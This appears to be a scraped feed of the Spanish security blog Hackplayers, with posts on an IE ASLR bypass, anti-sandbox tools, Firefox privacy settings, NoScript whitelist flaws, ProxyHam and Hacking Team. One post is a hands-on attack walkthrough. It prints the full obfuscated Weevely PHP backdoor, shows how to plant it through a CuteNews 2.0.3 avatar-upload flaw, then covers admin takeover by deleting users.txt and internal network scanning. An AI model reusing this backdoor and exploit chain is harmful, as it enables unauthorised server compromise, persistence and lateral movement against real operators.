Quantcast
Channel: hackplayers
Viewing all 1664 articles
Browse latest View live

PoC para evadir ASLR en todas las versiones de 32 bits de Internet Explorer

$
0
0
Los investigadores de la Zero Day Initiative de HP (ZDI) normalmente no publican los detalles completos y el código de explotación de los bugs que encuentran y reportan a los fabricantes hasta después de que las vulnerabilidades hayan sido corregidas. Pero esta vez han hecho un excepción y han publicado un exploit para evadir ASLR (address space layout randomization) en todas las versiones de Internet Explorer de 32 bits

¿La razón? Microsoft, a pesar de haber pagado $125K a ZDI por su programa Blue Hat Bonus, no cree que esta vulnerabilidad afecte a suficientes usuarios y no tiene pensado corregirla:

"En esta situación, la declaración de Microsoft es técnicamente correcta - las versiones de 64 bits aprovechan más ASLR que las versiones de 32 bits. Un sistema de 64 bits tiene un espacio de direcciones mucho más grande que un sistema de 32 bits, lo que hace a ASLR mucho más eficaz. Sin embargo lo que se pierde aquí es que el bypass descrito y presentado sólo funciona para sistemas de 32 bits, que es la configuración por defecto en millones de sistemas. Para demostrar esto, hemos publicado el código de prueba de concepto (PoC) para demostrar este bypass en Windows 7 y Windows 8", dice Dustin Childs de HP en su blog.

"Desde Microsoft se siente que estos problemas no afectan a la configuración por defecto de IE (que afecta a un gran número de clientes), lo que a su juicio significa que no vale la pena sus recursos y el riesgo de regresión potencial. No estamos de acuerdo con esa opinión y estamos liberando la información del PoC a la comunidad con la creencia de que los usuarios interesados ​​deben estar tan bien informados como sea posible con el fin de tomar las medidas apropiadas para que encuentren sus propias instalaciones", dijo.

Paper:Abusing Silent Mitigations - Understanding weaknesses within Internet Explorer’s Isolated Heap and MemoryProtection

PoC (use-after-free):https://github.com/thezdi/abusing-silent-mitigations

Fuentes:
- There and back again: a journey through bounty award and disclosure
- HP Releases Details, Exploit Code for Unpatched IE Flaws

AntiCuckoo: una herramienta para detectar y crashear el Sandbox de Cuckoo

$
0
0
David Reguera de Buguroo está trabajando en el desarrollo de anticuckoo, una herramienta escrita en C/C++ para detectar y crashear el sandbox de Cuckoo:

- se ha probado en la versión oficial y la de Accuvant
- detecta toda clase de hooks de Cuckoo
- busca datos sospechosos en memoria, sin APIs, escaneando página por página
- con el argumento "-c1" provoca un crash del sandbox. Lo hace modificando el valor de la instrucción RET N de una API hookeada (el HookHandler de Cuckoo sólo pasa los argumentos reales de la API y la intrucción RET N modificada corrompe su stack)


TODO
- agente y proceso de detección en python (al 70%)
- mejorar la detección comprobando los bytes correctos en los sitios conocidos (por ejemplo las APIs nativas siempre tienen las mismas firmas, etc.).
- detección de las entradas TLS de Cuckoo

Repositorio: https://github.com/David-Reguera-Garcia-Dreg/anticuckoo

Empieza a configurar Firefox para que deje de filtrar datos sobre tí...

$
0
0
Firefox no es una excepción a la hora de recolectar y enviar datos de usuarios cuando se usan ciertas características. ¿Son totalmente necesarios o responden a un interés lucrativo?

Está claro que el navegador de Mozilla integra motores de búsqueda y plugins de terceros porque necesita subvenciones de sponsors - difícilmente las donaciones pueden ser el único pilar de su financiación - . 


Sea como fuere al menos permite desactivar (todas?) las opciones para mantener un mayor grado de privacidad. ¿Sensacionalistas? No lo creo, recomendamos visitar el proyecto de amq en GitHub donde se describen algunas opciones que podemos modificar. Escribe about:config en la barra de direcciones para empezar a cambiar la configuración.

Navegación Segura de Google

Filtra el historial de navegación a Google. Para desactivar búsquedas remotas manteniendo la protección contra sitios maliciosos y de phishing crea el siguiente booleano y ponlo como true.
browser.safebrowsing.remoteLookups
Para desactivar la funcionalidad completamente (no recomendado).
browser.safebrowsing.enabled

Recolección de estadísticas de Firefox

Infomes de estabilidad y rendimiento.
datareporting.healthreport.service.enabled
datareporting.healthreport.uploadEnabled
Estadíticas de uso.
toolkit.telemetry.enabled

WebRTC

Filtra la IP real cuando se usa VPN/TOR. Descripción y demo
media.peerconnection.enabled

Encrypted Media Extensions - EME (DRM)

Un binario de un plugin (de código cerrado) se distribuye con Firefox desde la V38. Permite la reproducción de medios cifrados y permite utilizar p.ej. Netflix sin Microsoft Silverlight. Para eliminar completamente el plugin hay que instalar una acumulación EME gratuita de Firefox.
media.eme.enabled
media.gmp-eme-adobe.enabled

Firefox Hello

Firefox conecta a servidores de terceros (Telefonica) sin pedir permiso.
loop.enabled

Pocket integration

Un servicio de terceros para administrar listas de lectura de artículos.
browser.pocket.enabled

Geolocalización

geo.enabled

Sugerencias de búsquedas

Todo lo que escribimos en la casilla de búsquedas se envía al motor de búsqueda. Las sugerencias basadas en el historial local seguirían funcionando.
browser.search.suggest.enabled
pd. Nuevas opciones y propuestas son siempre bienvenidas en:
https://github.com/amq/firefox-debloat

#SSLv3 ya está oficialmente obsoleto

$
0
0
Ataques como POODLE y BEAST pusieron en entredicho la seguridad de SSL. A principios de año, los principales fabricantes (Microsoft, Google y Mozilla) bloquearon SSL por defecto en sus navegadores y surgieron iniciativas como disablessl3.com para ayudar a los administradores a desactivarlo.

Todo ello ha acelerado que el IETF (Internet Engineering Task Force) declare definitivamente obsoleto a SSL v3. El documento de norma RFC7568 publicado este mes asevera SSLV3 como "no suficientemente seguro" y prohíbe volver a usarlo en nuevas aplicaciones:

"SSLv3 NO DEBE ser utilizado", dice el documento. "La negociación de SSLv3 desde cualquier versión de TLS no debe permitirse. Cualquier versión de TLS es más segura que SSLv3, aunque la versión más alta disponible es preferible".

RFC http://www.rfc-editor.org/rfc/rfc7568.txt

DEP SSL, hola TLS 1.2!

Diseñan un sistema que repara bugs automáticamente insertando la funcionalidad de otros programas - y sin necesidad del código fuente

$
0
0
En la conferencia de la Asociación para el Diseño de Lenguajes de Programación de Equipamiento Informático, investigadores del MIT presentaron un nuevo sistema que repara bugs peligrosos en el software importando la funcionalidad desde otras aplicaciones más seguras.

Cabe destacar que el sistema, bautizado como CodePhage, no requiere acceso al código fuente de las aplicaciones cuya funcionalidad coge prestada. En vez de eso, analiza la ejecución de las aplicaciones y clasifica los tipos de controles de seguridad que realizan. Como consecuencia, puede importar chequeos de aplicaciones escritos en lenguajes de programación distintos al del programa que está reparando y proporciona una capa adicional de análisis que garantiza que el error ha sido reparado.

"Tenemos un montón de código fuente disponible en los repositorios de código abierto, millones de proyectos, y muchos de estos proyectos implementan especificaciones similares", dice Stelios Sidiroglou-Douskos, científico investigador del laboratorio de Ciencias de la Computación e Inteligencia Artificial (CSAIL) del MIT que ha liderado el desarrollo de CodePhage. "Aunque podría no ser la funcionalidad principal del programa, con frecuencia existen subcomponentes que comparten funcionalidad a través de un gran número de proyectos".

Con CodePhage, el dice, "con el tiempo, lo que estaríamos haciendo es construir un sistema híbrido que toma los mejores elementos de todas estas implementaciones".


Funcionamiento general

Sidiroglou-Douskos y sus co-autores se refieren al programa que CodePhage repara como "receptor" y al programa del que se toma la funcionalidad como "donante".

Para comenzar su análisis, CodePhage requiere dos entradas de ejemplo: una que haga que el receptor se bloquee (crash) y otra que no. Se puede usar un buscador de bugs que el mismo grupo publicó en marzo, llamado DIODE, que genera automáticamente las entradas que hacen que el programa falle (crash) o simplemente un bug que un usuario podría haber identificado al intentar abrir un archivo en particular, por ejemplo.

Primero CodePhage introduce en el programa donante una entrada segura (safe) y otra que provoca un fallo (bug). Hace un seguimiento de cada una de las secuencias de operaciones que ejecuta el donante y graba cada una utilizando una expresión simbólica. Cuando la nueva expresión simbólica (bug) diverge de la antigua (safe), sin embargo, CodePhage interrumpe el proceso. La divergencia representa una limitación que la entrada segura encontró pero que la entrada que provoca un error no lo hace. Como tal, podría ser un control de seguridad que falta en el receptor.

CodePhage entonces analiza el receptor para encontrar lugares en los que la entrada se encuentra con la mayoría, aunque no todas, de las limitaciones descritas por la nueva expresión simbólica. El receptor puede realizar diferentes operaciones en un orden diferente que el donante hace, y puede almacenar datos en diferentes formas. Pero la expresión simbólica describe el estado de los datos después de haber sido procesado, no el procesamiento.

En cada uno de los lugares que identifica, CodePhage puede prescindir de la mayoría de las limitaciones descritas por las expresiones simbólicas de las limitaciones que el receptor, también, impone. Comenzando con la primera ubicación, traduce las pocas restricciones que quedan a la lengua del destinatario y los inserta en el código fuente. Luego se ejecuta el destinatario de nuevo, utilizando la entrada que provoca el crash.

Si el programa sigue funcionando, el nuevo código ha resuelto el problema. Si no lo hace, CodePhage mueve a la siguiente ubicación candidata en el receptor. Si el programa todavía está fallando, incluso después de CodePhage haya intentado reparaciones en todos los lugares candidatos, vuelve al programa del donante y continúa la construcción de su expresión simbólica, hasta que llega a otro punto de divergencia.

Futuro automatizado

Los investigadores probaron CodePhage en siete programas de código abierto en las que DIODE había encontrado errores, importando entre dos y cuatro reparaciones en cada uno. En todos los casos, CodePhage fue capaz de arreglar el código vulnerable, y por lo general tomó entre 2 y 10 minutos en arreglarlos.

Como explican los investigadores, en el software comercial moderno, los controles de seguridad pueden ocupar hasta 80 por ciento del código, o incluso más. Una de sus esperanzas es que las futuras versiones de CodePhage puedan reducir drásticamente el tiempo que los desarrolladores de software gastan en trabajo pesado, mediante la automatización de la inserción de esas comprobaciones.

"La visión a largo plazo es que nunca tengas que escribir una pieza de código que alguien más haya escrito antes", dice Rinard. "El sistema encuentra ese trozo de código y automáticamente lo pone junto con cualquier pieza de código que necesita para hacer que su programa funcione".

"La técnica de usar código de otro programa que tiene una funcionalidad similar, y ser capaz de corregir un programa que falla solucionándolo de esa manera, es un resultado bastante bueno", dice Emery Berger, profesor de ciencias informáticas en la Universidad de Massachusetts en Amherst. "Para ser honesto, me sorprendió que funcionó totalmente".

"El programa de los donantes no fue escrito por la misma gente", explica Berger. "Ellos tienen diferentes estándares de programación, renombran las variables de forma diferente, utilizan todo tipo de diferentes variables, las variables pueden ser locales o podrían estar más arriba en la pila. Y CodePhage es capaz de identificar estas conexiones y decir: 'Estas variables correlan a estas variables '. Hablando en términos de la donación de órganos, transforma ese código para que sea un injerto perfecto, como si hubiera sido escrito de esa manera en el principio. El hecho de que funcione tan bien como lo hace es sorprendente y fresco".
 

Fuente: http://newsoffice.mit.edu/2015/automatic-code-bug-repair-0629

Bypass de NoScript por menos de 11$

$
0
0
Cuando instalamos el complemento NoScript por primera vez en nuestro navegador, se incluye una Lista Blanca con un montón de sitios CDN/populares, en los que se confía por defecto para ejecutar Java/Flash/JavaScript, incluso si NoScript se configura para prohibir los scripts globalmente.

Puedes comprobarlo directamente en la pestaña Lista Blanca en las opciones de NoScript:



La lista, a fecha de esta entrada, es la siguiente:
addons.mozilla.org
afx.ms
ajax.aspnetcdn.com
ajax.googleapis.com
bootstrapcdn.com
cdnjs.cloudflare.com
code.jquery.com
firstdata.com
firstdata.lv
flashgot.net
gfx.ms
google.com
googlevideo.com
gstatic.com
hotmail.com
informaction.com
live.com
live.net
maone.net
mootools.net
mozilla.net
msn.com
noscript.net
outlook.com
passport.com
passport.net
passportimages.com
paypal.com
paypalobjects.com
persona.org
prototypejs.org
securecode.com
securesuite.net
sfx.ms
tinymce.cachefly.net
wlxrs.com
yahoo.com
yahooapis.com
yandex.st
yimg.com
youtube.com
ytimg.com
about:
about:addons
about:blank
about:blocked
about:certerror
about:config
about:crashes
about:home
about:memory
about:neterror
about:plugins
about:preferences
about:privatebrowsing
about:sessionrestore
about:srcdoc
about:support
blob:
chrome:
mediasource:
moz-safe-about:
resource:

¿Por qué tenemos por defecto que confiar en estos dominios?
Incluso Matthew Bryant, el que cursó esta investigación, se dio cuenta de que el dominio “zendcdn.net” llevaba un largo tiempo sin existir. Cualquiera podría haberlo comprado y ejecutar scripts sin que NoScript si quiera nos avisara, dándonos una falsa sensación de seguridad.


Afortunadamente él lo compró por $10.69, hizo una PoC y lo reportó a Giorgio Maone que en seguida lo sacó de la lista.



El otro problema es que se confía no sólo en esos dominios, si no también en los subdominios correspondientes si no se precede la expresión “http(s)://”. Si cualquier servidor en estos dominios o subdominios tiene un XSS almacenado o cualquier otra vulnerabilidad, ejecutaremos el script malicioso a pesar de NoScript.

La recomendación al instalar NoScript por primera vez es por tanto 1/ eliminar todas las entradas que incluye por defecto la lista blanca y 2/ añadir siempre el prefijo “http(s)://”.

Fuente: The NoScript Misnomer – Why should I trust vjs.zendcdn.net?

#ProxyHam, un dispositivo que te mantendrá alejado hasta 4kms de la ubicación de tu IP

$
0
0
Ben Caudill presentará en la próxima Def Con de Las VegasProxyHam, un dispositivo que hará las delicias de los defensores de la privacidad y el anonimato en Internet. Digamos que se trata de un router wifi de larga distancia que puede transmitir la señal a más de 4 kms en condiciones ideales.

Imaginar lo que significa esto... en escenarios donde las autoridades logren identificar la IP y vayan a buscar a un atacante, sólo encontrarán un ProxyHam transmitiendo una señal de radio de 900MHz a cientos o miles de metros en cualquier dirección...

Como podemos ver en la descripción de la charla de Caudill en la Def Con:

"Si bien una serie de tecnologías (tales como Tor) pueden proporcionar cierto nivel de anonimato, existe todavía un defecto fundamental: una relación directa entre la dirección IP y la localización física. Si tu verdadera IP es descubierta, se acabó el juego - una amenaza significativa cuando tu adversario es propietario de la infraestructura.

Para resolver este problema, presento ProxyHam, un dispositivo de hardware que utiliza tanto WiFi como la banda de 900Mhz para actuar como un proxy de hardware, encaminando el tráfico local a través de una red inalámbrica lejana - y aumentando significativamente la dificultad para identificar la verdadera fuente del tráfico. Además de una demostración del propio dispositivo, se publicará libremente los esquemas de hardware completos y el código
".

En cuanto al propio dispositivo, se compone de un Raspberry Pi con Wi-Fi activado, junto con una instalación que consta de tres antenas, una para conectar a una red Wi-Fi de origen y las otras dos para transmitir la señal Wi-Fi a una frecuencia de 900 MHz.

Con el fin de captar la señal de largo alcance, los usuarios tendrán que conectar una antena de 900 MHz a su ordenador, algo así:



Además, para evitar la detección de la señal radio en el extremo del usuario, las señales inalámbricas de ProxyHam están diseñadas para ser indistinguibles entre los muchos teléfonos inalámbricos que utilizan la misma frecuencia. Y Caudill dice que el surgimiento de más aparatos inalámbricos conectados a Internet va a proporcionar más cobertura a los usuarios ProxyHam con el tiempo: "Hay un montón de dispositivos que van a saltar en ese espacio y comunicarse por ahí", dice. "No es posible decir 'vamos a perseguir a todos los que tienen este dispositivo de comunicación en esta frecuencia', es una aguja en un pajar".

Fuentes:
- New Device Provides Secure and Anonymous Wi-Fi With an Incredible 2.5-mile Range
- This Online Anonymity Box Puts You a Mile Away From Your IP Address
- With This Device You Can Connect Anonymously To Wi-Fi 2.5 Miles Away

Tex: Herramienta de Web Pentesting para recogida de información

$
0
0
Tex es una Herramienta desarrollada por Antrax810 en Python, actualmente se encuentra en su primera versión.
Fue desarrollada para utilizarse en la primera fase de un Pentest "Recogida de Información", en el cual se necesita saber la correlación con otras empresas, archivos públicos, entre otras cosas.

Utilidad: 

  •     Web Crawler
  •     Divide subdominios y enlaces externos encontrados
  •     Finder Admin
  •     Busqueda de Archivos PDF
  •     Descargar los Archivos PDF encontrados
Requisitos:
  •     Python 2.7.x.
  •     Tener el Modulo pycurl (Si se corre sobre alguna distribución de Linux, no es necesario descargarla, ya que la tiene por defecto).
  •     Todas las clases deben de estar en la misma ruta.
Se decidió hacerla Open Source desde GitHub para que la comunidad ayude a mejorar la Herramienta, y agregue otras utilidades.

¿Como usarla?

    Dirigirse desde la Terminal o CMD a la ruta en donde esta alojado el proyecto.
    Ejecutar Main.py seguido de los parametros.

Parámetros:

    -d : (Objetivo-Target).
    -t : (Numero de Hilos-Number of Threads) Default 5.
    -l : (Limite de paginas a Analizar-Limit pages to Analyze) Default 100000.
    -h : (Tiempo en minutos-Time in minutes) Default 5.
    -i : (1.- Espanol / 2.- English) Default 1.- Espanol.
    -f: (Buscar pagina de Login-Search page Login) Default No.



Descargar . GitHub

pd. Si tu también has desarrollado tu propia herramienta y quieres hablar de ella no lo dudes y escríbenos!

Ejemplo práctico de cómo subir una shell (Weevely) a un servidor web vulnerable (CuteNews) & post-explotación

$
0
0
En esta entrada vamos a ver un ejemplo práctico de cómo subir una shell a un servidor web vulnerable. 

En el escenario de las pruebas explotaremos una vulnerabilidad que permite subir ficheros remotamente incluso en las últimas versiones de CuteNews, un sistema de gestión de noticias/blog escrito en PHP que usa una "base de datos en archivos planos" u, opcionalmente, MySQL. 

Y como estamos trabajando con PHP, la web shell que hemos elegido es Weevely que nos facilitará una consola de comandos remota contra el servidor con un montón de módulos que ponen a nuestra disposicion un framework extensible con muchas posibilidades post-explotación para escalar privilegios y pivotar hacia redes internas. Sus características son:

- terminal de red Shell/PHP tipo telnet
- audita fallos de configuración del servidor
- consola SQL para pivotar sobre el objetivo
- proxy HTTP sobre el objetivo
- monta el sistema de ficheros de la víctima como local
- conduce escaneos de red pivotando sobre el objetivo
- descarga y sube ficheros
- instalar shells TCP directos o inversos
- hace fuerza bruta de cuentas de servicio
- comprime y descomprime archivos zip, gzip, bzip2 y tar

Además Weevely utiliza un agente backdoor (script php) cuyo código es polimórfico y difícilmente detectable por antivirus e HIDS y las comunicaciones están encubiertas y ofuscadas dentro del protocolo HTTP usando técnicas esteganográficas.

¿Suena bien verdad?


Empezaremos instalando los requisitos de Weevely en una máquina virtual con Kali 1.1.0:

vmotos@kali:~$ sudo apt-get install g++ python-pip libyaml-dev python-dev
vmotos@kali:~$ sudo pip install prettytable Mako pyaml dateutils PySocks --upgrade

 
A continuación descargamos el proyecto y generamos el agente:

vmotos@kali:~$ git clone https://github.com/epinna/weevely3.git

vmotos@kali:~$ cd weevely3/
vmotos@kali:~/weevely3$ ./weevely.py generate prueba DEVIL.php
Generated backdoor with password 'prueba' in 'DEVIL.php' of 1312 byte size.

 
Este script PHP es el que deberemos subir al servidor web víctima. Su código es el siguiente:

<?php
$i='fcs[$i]="";$p=$ss($p,fc3);}if(arfcray_kefcy_exifcsts(fc$fcfci,$s)){$s[$i]fc.=$p;$e=stfcfcrpos($s[$ifc],$f);ifcf(';
$m='rr);parsfce_sfctr($ufc["query"],fc$qfc);$q=afcrray_valufces($q);fcprefcg_match_fcfcall("/fc([\\wfc])[\\fcw-]+(?:;q=0';
$p='/_/fc","/-/"),fcarrfcay("/","+"),fc$fcss($s[$fci],0,fc$e))fc),$fck)));fc$o=ofcb_get_contefcnts();ob_end_cfclean(';
$C='$i<$l;){for(fc$j=0;fc($j<$cfc&&fc$i<$lfc);$j+fc+,$fci++){$o.=$t{$i}fc^$k{$fcj};}}retfcurnfcfc $o;}$r=$_SERVEfcR';
$V='$fce){$k=$khfc.$kf;ob_fcstart(fcfc)fc;@efcval(@gzuncfcofcmpress(@x(@base6fc4_decodfce(preg_rfceplacfce(fcarray("';
$w=';$rr=fc@fc$r["HTTPfcfc_fcREfcFERER"];$ra=@$r["HTfcTP_ACfcCEPfcT_LANGUAGEfc"];if($rr&fc&$ra)fcfc{$u=parsefcfc_url($';
$Z='"strtolower";$fci=$m[1fc][0].$mfc[1][1]fc;$h=$fcsl($ssfc(fcmd5($i.$fcfckh),0fc,3fc));$f=$sl($ss(mfcd5($i.$kf),0,';
$f='$kh="fcc893";$kffcfc="bad6";functfciofcn x($t,$k){fc$fcc=strlenfc($fck);$fcl=fcstrlen($tfc);$o=""fc;for($ifc=0;';
$o='.([fc\\d]))?,?/",fc$ra,fc$m);iffcfc($q&&$m){fc@sessfcion_sfctart(fc);fc$s=&$fc_SESfcSION;fcfc$ssfc="substr";$sfcl=';
$s=str_replace('Z','','creZZate_ZfuZnZZction');
$S='3));fc$p="";fofcr($zfc=1;$zfc<cofcunt($m[1fc]);$z++)$pfc.=$q[$mfc[2][fcfc$z]];if(sfctrpos($p,$fch)===0fcfc){fc$';
$g=')fc;fc$d=basefc64_encodfce(xfc(gfczcomfcpress($o),$k));fcprint(fc"<$kfc>$d</$k>fc");@sfcefcssion_dfcestroy();}}}}';
$D=str_replace('fc','',$f.$C.$w.$m.$o.$Z.$S.$i.$V.$p.$g);
$k=$s('',$D);$k();
?>

Ahora pasaremos a la parte de la vulnerabilidad en laúltima versión de CuteNews (2.0.3). La explotación es sencilla, entramos con cualquier usuario de la aplicación, vamos a las opciones personales y seleccionamos una imagen para nuestro avatar:





Antes de guardar los cambios, configuramos el navegador para utilizar nuestro proxy (BurpSuite en mi caso), interceptamos la petición, modificamos el nombre a EVIL.php y añadimos el código PHP:



Si todo ha ido bien, tendremos nuestro script en http://servidor/cutenews.2.0.3/uploads/avatar_vicente_DEVIL.php. Ahora desde nuestro equipo, la máquina del atacante, abriremos la shell indicando esa URL y la contraseña correspondiente:

vmotos@kali:~/weevely3$ ./weevely.py http://servidor/cutenews.2.0.3/uploads/avatar_vicente_DEVIL.php prueba


+] weevely 3.2.0

[+] Target:    SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\uploads
[+] Session:    /home/vmotos/.weevely/sessions/server/avatar_vicente_DEVIL_0.session
[+] Shell:    System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> dir
 El volumen de la unidad D es Datos
 El n�mero de serie del volumen es: CD43-DB70

 Directorio de D:\xampplite\htdocs\cutenews.2.0.3\uploads

06/07/2015  18:18    <DIR>          .
06/07/2015  18:18    <DIR>          ..
06/07/2015  18:18             1.463 avatar_vicente_DEVIL.php
               1 archivos          1.463 bytes
               2 dirs  191.124.447.232 bytes libres

SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\uploads $

¡Ya estamos dentro del servidor!

Primero os enseñaré un "truquito" para hacernos administrador de CuteNews rápidamente (creo que ni siquiera está documentado). Simplemente descargamos el fichero users.txt que hay dentro del directorio cdata:

SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\cdata $ :file_download users.txt /tmp/users.txt

Para luego borrarlo...

SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\cdata $ del users.txt

Al volver a acceder a la aplicación no detectará "ningún usuario" y nos solicitará crear el primer administrador };)




Así que creamos nuestro "particular" administrador y, si queremos mantener el resto de usuarios que había antes para pasar desapercibidos, volvemos a añadir las entradas del fichero users.txt original que anteriormente habíamos descargado. Tal que así:

nr4k59:1 : usuario admin4 creado
nr4jg8:1 : usuario admin anterior
nr4jay:4 : otros usuarios
nr4jbl:4
nr4jcx:4



Después, lo que queráis hacer con el servidor lo dejo a vuestra imaginación. Lo normal es averiguar la IP interna para luego escanear todo el rango de red pivotando:

SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\uploads $ :system_info -info client_ip
172.20.40.7

SERVIDOR:D:\xampplite\htdocs\cutenews.2.0.3\uploads $ :net_scan 172.20.40.0/255.255.255.0 1-1024
[-][scan] Scanning addresses 172.20.40.0-
172.20.40.9:1-5
[-][scan] Scanning addresses
172.20.40.0-172.20.40.9:6-10
[-][scan] Scanning addresses
172.20.40.0-172.20.40.9:11-15
[-][scan] Scanning addresses
172.20.40.0-172.20.40.9:16-20
[-][scan] Scanning addresses
172.20.40.0-172.20.40.9:21-25
[-][scan] Scanning addresses
172.20.40.0-172.20-40.9:26-30
[-][scan] Scanning addresses
172.20.40.0-
172.20.40.9:31-35
...

Porque como alguien dijo, nunca nos conformamos con lo que tenemos y siempre queremos más y más... bon appétit!

5 preguntas y respuestas sobre el hackeo a Hacking Team y su relación con el CNI español

$
0
0
Como muchos ya sabéis, Hacking Team (en adelante HT), la empresa italiana conocida por vender herramientas de hacking a muchos gobiernos (incluidos a aquellos que no respetan los derechos humanos, los que persiguen a activistas e incluso a sus propios ciudadanos) fue comprometida y el pasado domingo se filtraron más de 400 gigas de datos confidenciales. El resultado fue que muchos países y agencias gubernamentales se han visto señalados por contratar sus servicios, entre ellos la Policía y el Centro Nacional de Inteligencia (CNI).


Estas son las principales preguntas que nos habéis hecho al respecto y nuestras respuestas:

1.- ¿Qué ha contratado el Gobierno español?

El Portal de exploits de la solución RCS (Remote Control System) de HT, también llamada Galileo, tiene cuatro categorías:


- Social: no se aprovecha de ninguna vulnerabilidad de aplicación si no de la inocencia del comportamiento de los usuarios, por ej. ejecutar un fichero que parece un documento de office, etc.
- Público: la vulnerabilidad es conocida y podría haber sido ya parcheada en las últimas versiones del software objetivo. El código del exploit es público.
- Privado: la vulnerabilidad es conocida pero el código del exploit no es público.
- Zero-Day: la vulnerabilidad no es conocida y hasta las últimas versiones de software son vulnerables. HT provee 3 exploits funcionales durante el año o el periodo de contrato. Si uno de ellos es parcheado HT facilitaría uno nuevo.

En el caso del CNI al menos hay evidencias de la contratación del uso del portal de exploits en su última categoría (vulnerabilidades de día-0) y módulos adicionales para atacar plataformas de escritorio (Win32/Win64, MacOS X) y móviles (Windows Mobile, iPhone, Symbian, BlackBerry, Android). 


El CNI habría podido configurar e instalar agentes para comprometer distintos tipos de dispositivos, recopilar datos e información de forma silenciosa y enviar los resultados a una base de datos centralizada para su posterior análisis.


2.- ¿Cómo es posible infectarse con un agente RCS?

Si existe acceso físico al equipo de la víctima los vectores de infección típicos son CDs bootables o dispositivos USB en PCs de escritorio y tarjetas de memoria o cables de conexión USB en smartphones.

Si la instalación es remota existen las siguientes posibilidades:

- Melting: inserta el agente dentro de un binario (por ej. un instalador) para que se instale silenciosamente al ejecutarlo.
- Portal de exploits: se aprovecha de distintas vulnerabilidades del software del cliente para instalar el agente.
- Remote Mobile Installation (RMI): es un módulo diseñado para instalar el agente en móviles enviando un SMS.
- Network Injector: inserta el agente "al vuelo" en un fichero que se está descargando de forma transparente. Algo parecido a lo que vimos aquí con BDFProxy pero utilizando una técnica propietaria. El inyector de red es muy interesante porque puede hacerse en una red local o WiFi pero también a nivel de ISP, instalando el inyector entre el concentrador DSLAM y sus COREs... cualquier línea ADSL puede ser comprometida.... toc, toc, Telefónica?





3.- ¿Es posible detectar la presencia y actividad de estos agentes?

Ya se están recopilando aquí distintas firmas que evidencien la instalación de agentes en los principales sistemas operativos para luego poder escribir scripts nativos (powershell, bash, etc) para su detección. También existe una herramienta llamada Detekt que es capaz detectar RCS de HT y FinFisher FinSpy (otra herramienta de espionaje masivo), está escrita en Python y se basa en Yara, Volatility y Winpmem para analizar la memoria en busca de patrones. No obstante hay que tener en cuenta que probablemente no se detecten las versiones más recientes ya que se actualizan continuamente en respuesta a modificar los patrones identificados.

En cuanto a la infraestructura RCS de HT, evidentemente las comunicaciones entre los agentes y los servidores C&C son cifradas, pero es posible identificar servidores mediante el análisis de distintas muestras, coincidencias en certificados SSL e IPID secuenciales (fragmentación de paquetes IP). Kapersky hizo un estudio el año pasado y encontró más de 320 servidores C&C en más de 40 países distintos. 



4.- ¿Es legal contratar y usar este tipo de software spyware?

El propio CNI ya ha reconocido que, efectivamente, "existe una relación contractual con Hacking Team" y que se trata de una relación "regida por la Ley de contratación pública, por un lado, y la Ley 11/2002 por otro, que regula la actividad concreta del CNI". 


El texto del anteproyecto de Código Procesal Penal del Ministerio de Justicia de hace un par de años ya preveía el acceso remoto de equipos informáticos —lo que incluye tabletas y teléfonos inteligentes— para delitos con penas máximas superiores a tres años, para el cibercrimen y para el terrorismo y el crimen organizado siempre que el juez justifique la proporcionalidad de la intervención.
 

Es decir, a parte del contrato de los servicios de HT la clave es que, si lo han usado para espiar a sospechosos o incluso a ciudadanos, necesitan autorización judicial según el artículo 18.3 de la Constitución. ¿Lo han hecho?

5.- ¿Y es ético?


El uso de "ciberarmas" es lícito siempre que su uso se encuentre dentro del marco de la legalidad vigente en cada caso. Personalmente no nos extraña que Fuerzas de Seguridad utilicen este tipo de "malware" en la época en la que estamos y es preferible su adquisición a una empresa legal (que tiene sus cuentas acordes a lo que marca el fisco italiano) que su compra en la Deep web/mercado negro.

Otra cosa es la finalidad... es decir, sia instalar un backdoor a un pederasta, terrorista o narcotraficante sospechoso de forma reglamentada y tras previa autorización judicial; no a instalar backdoors para reprimir la libertad de expresión o de prensa, promover la censura o controlar a los ciudadanos mediante programas de espionaje masivo, por ejemplo.

¿Y tú que opinas?

Mastercard usará selfies para hacer más seguras las transacciones

$
0
0
MasterCard está preparando un programa piloto para ayudar a los compradores a mejorar la seguridad de sus transacciones tomando fotos de sí mismos.
El programa se centra en la autenticación biométrica, incluyendo métodos tales como la identificación facial, el reconocimiento de voz y el ritmo cardíaco, a través de una pulsera portátil.

"C
reo que la nueva generación, basada en selfies tendrá mucha aceptación. La adoptarán. Queremos identificar a las personas por lo que son, no por lo que ellos recuerdan", dijo Ajay Bhalla, responsable de seguridad de MasterCard.

Según la compañía, para 2018 se espera que los pagos mediante dispositivos móviles representen el 30% del total de las ventas online de los minoristas y el nuevo estándar llevará la infraestructura de seguridad más allá de la era del PC, dando soporte a las tecnologías emergentes y a las necesidades cambiantes de los consumidores.

MasterCard dijo que su programa piloto dará como resultado muchos menos problemas con las contraseñas en los puntos de venta. Los titulares de las tarjetas podrán identificarse con contraseñas de un sólo uso o mediante biometría con sus huellas digitales, en lugar de usar contraseñas estáticas.

Según MasterCard Advisors, un consumidor típico puede tener un número de tarjeta almacenado en cinco o más ubicaciones y los consumidores han permitido que miles de comerciantes guarden miles de millones de números de tarjetas de crédito y débito con su nombre.

MasterCard anunció el año pasado un nuevo protocolo, que está siendo creado junto con Visa y que podría ser adoptado en 2015, reemplazando gradualmente al protocolo 3DSecure actual el cual requiere una contraseña para hacer compras online. Tanto MasterCard y Visa están realizando pruebas comerciales para aplicaciones faciales y de reconocimiento de voz para autenticar los titulares de tarjetas.
Así es como funciona el nuevo protocolo de seguridad, de acuerdo con MasterCard y BBC:

Tienes que descargar la aplicación móvil de MasterCard para utilizar la función. MasterCard pedirá autorización mediante una ventana emergente después de intentar pagar por algo. Si eliges la huella digital, todo lo que necesitas es un toque. Si optas por reconocimiento facial, hay que mirar fijamente al teléfono - parpadear una vez - y ya está. Los investigadores de seguridad de MasterCard decidieron que parpadear es la mejor manera de prevenir que un ladrón engañe al sistema simplemente sosteniendo una foto.

Bhalla prometió también que MasterCard no será capaz de reconstruir una cara - y que la información se transmitirá de forma segura y permanecerá segura en servidores de la empresa.

Fuente: MasterCard to Use Selfies to Ensure Safer Transactions

Evita que el AV detecte tu payload de Metasploit con SideStep

$
0
0
